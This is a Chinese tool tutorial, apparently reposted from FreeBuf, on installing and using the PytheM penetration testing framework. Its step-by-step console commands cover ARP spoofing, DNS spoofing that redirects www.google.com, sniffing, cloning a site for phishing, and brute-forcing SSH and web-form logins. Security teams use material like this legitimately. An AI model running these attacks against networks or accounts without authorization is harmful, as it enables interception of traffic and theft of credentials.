$sudo apt-get update $sudo apt-get install libasound-dev libjack-jackd2-dev portaudio19-dev python-pyaudio build-essential python-dev libnetfilter-queue-dev libespeak1 libffi-dev libssl-dev $sudo git clone https://github.com/m4n3dw0lf/PytheM/ $cd PytheM $sudo pip install -r requirements.txt
$sudo ./pythem
命令:
pythem> set interface [+] Enter the interface: wlan0 pythem> set gateway [+] Enter the gateway: 192.168.1.1 pythem> arpspoof start [+] Setting the packet forwarding. [+] Iptables redefined. [+] ARP spoofing initialized. pythem> sniff [+] Enter the filter: http
使用SET等克隆工具克隆你选中的网站,并部署在Apache2上
命令:
pythem> set target [+] Enter the target(s): 192.168.0.8 pythem> set interface wlan0 pythem> set gateway 192.168.0.1 pythem> arpspoof start [+] Setting the packet forwarding. [+] Iptables redefined. [+] ARP spoofing initialized. pythem> dnsspoof start [+] Domain to be spoofed: www.google.com [+] IP address to be redirected: 192.168.0.6 [+] DNS spoofing initialized. pythem> sniff dns
pythem> service ssh start pythem> set target [+] Enter the target(s): 127.0.0.1 pythem> set file wordlist.txt pythem> brute-force ssh [+] Enter the username to bruteforce: anon123
首先获取web页面登录时的参数格式id= value
显示重定向页面,如果定向到一个不同的页面则说明猜解正确。
命令
pythem> set target http://127.0.0.1/ pythem> set file [+] Enter the path to the file: wordlist.txt pythem> brute-force webform [+] Brute-Form authentication initialized. [+] Enter the input id of the username box: vSIS_ID [+] Enter the input id of the password box: vSIS_PASS [+] Enter the username to brute-force the formulary: root
pythem> set target [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id= pythem> set file 1to100.txt pythem> brute-force url [+] Content URL bruter initialized.
[ PytheM – Penetration Testing Framework v0.3.2 ]
打印帮助信息。
退出程序。
设置变量的值,参数:
interface
gateway
target
file
arpmode例子:
pythem> set interface | open input to set
或者
pythem> set interface wlan0 | don't open input to set value
打印变量的值,例子:
pythem> print gateway
进行tcp/manualport/arp扫描.
(应该在设置完网卡和目标后再调用)例子:
pythem> scan
或者
pythem> scan tcp
开始或结束arpspoofing攻击. (使用rep或req可以设置arp欺骗的模式,rep表示欺骗响应,req表示欺骗请求)
start
stop
arpspoof startarpspoof stop
开始dnsspoofing攻击. (应该在arp欺骗攻击开始后再调用)例子:
pythem> dnsspoof startpythem> dnsspoof stop
开始嗅探数据包(应该在设置网卡后再调用)例子:
pythem> sniff http
或者
pythem> sniff
[+] Enter the filter: port 1337 and host 10.0.1.5 | tcpdump like format or http,dns specific filter.
开始分析数据包(应该在设置完网卡和.pcap文件后调用)例子:
pythem> pforensicpforensic> help
开始暴力破解攻击(应该在设置完目标和字典文件路径后调用)参数:
ssh | 目标是IP地址ip address as target url | 目标是url (包含http://或https://) webform | 目标是url (包含http://或https://)例子: pythem> brute-force webform pythem> brute-force ssh
显示IP地址的大概位置(应该在设置目标(IP地址)后再调用)例子:
pythem> geoip
或者
pythem> geoip 8.8.8.8
以选择的模式解码和编码字符串,例子:
pythem> decode base64pythem> encode ascii
解码base64 url编码的cookie的值,例子:
pythem> cookiedecode
其它在控制台可以执行的命令,比如cd, ls, nano, cat 等。
[*] jarvis type jarvis-help to see the jarvis help page. examples: pythem> jarvis (以语音识别模式调用Jarvis) pythem> jarvis-help (打印Jarvis帮助信息) pythem> jarvis-log (检查日志) pythem> jarvis-log err pythem> jarvis-say (命令Jarvis说某些东西) pythem> jarvis-say hello my name is jarvis. pythem> jarvis-read (如果没有指定文件,应该在设置文件后再调用) pythem> jarvis-read file.txt
*参考来源: n0where.net ,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)